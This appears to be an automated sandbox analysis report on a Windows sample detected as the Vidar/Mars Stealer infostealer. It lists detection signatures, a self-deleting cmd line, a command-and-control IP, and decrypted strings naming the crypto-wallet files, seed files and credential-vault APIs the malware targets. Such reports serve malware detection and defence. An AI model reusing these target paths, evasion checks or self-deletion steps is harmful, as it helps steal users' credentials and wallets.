Edit tour

Windows Analysis Report
BBiIn5gqhd.exe

Overview

General Information

Sample name:	BBiIn5gqhd.exe renamed because original name is a hash value
Original sample name:	311476e365e80b02b44b55ddcf5865c4.exe
Analysis ID:	1498384
MD5:	311476e365e80b02b44b55ddcf5865c4
SHA1:	d6fd497eb25234c77b2e8f672e292b5f9f760550
SHA256:	a1e0a1c53824bb1d9d0adcaa6a8e8e2f5bef673b0981807a5775a182f28fe235
Tags:	ArkeiStealerexe
Infos:

Detection

Mars Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mars stealer

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Self deletion via cmd or bat file

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

BBiIn5gqhd.exe (PID: 6592 cmdline: "C:\Users\user\Desktop\BBiIn5gqhd.exe" MD5: 311476E365E80B02B44B55DDCF5865C4)

cmd.exe (PID: 6132 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3596 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3a30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xcc80:$a2: wallet.dat 0xd378:$b1: CC\%s_%s.txt 0xdc80:$b2: History\%s_%s.txt 0xde60:$b3: Autofill\%s_%s.txt
Process Memory Space: BBiIn5gqhd.exe PID: 6592	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BBiIn5gqhd.exe PID: 6592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BBiIn5gqhd.exe PID: 6592	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x4364:$a2: wallet.dat 0x4834:$b1: CC\%s_%s.txt 0x4e27:$b2: History\%s_%s.txt 0x503d:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x1550:$a2: wallet.dat 0x3a89:$b1: CC\%s_%s.txt 0x3bdb:$b2: History\%s_%s.txt 0x3a0d:$b3: Autofill\%s_%s.txt
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.BBiIn5gqhd.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.BBiIn5gqhd.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.BBiIn5gqhd.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3e30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B

Suricata Signatures

ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil - Source IP: 192.168.2.5 - Destination IP: 104.194.151.11

Timestamp:	2024-08-24T11:02:02.928028+0200
SID:	2033163
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BBiIn5gqhd.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: BBiIn5gqhd.exe	Virustotal: Detection: 66%			Perma Link
Source: BBiIn5gqhd.exe	ReversingLabs: Detection: 95%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: BBiIn5gqhd.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: 05/02/2022 20:00:00
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: 07903688652437406205
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: open
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /sqlite3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /freebl3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /mozglue.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /msvcp140.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /nss3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /softokn3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /vcruntime140.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: app-store.json
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdiplusStartup
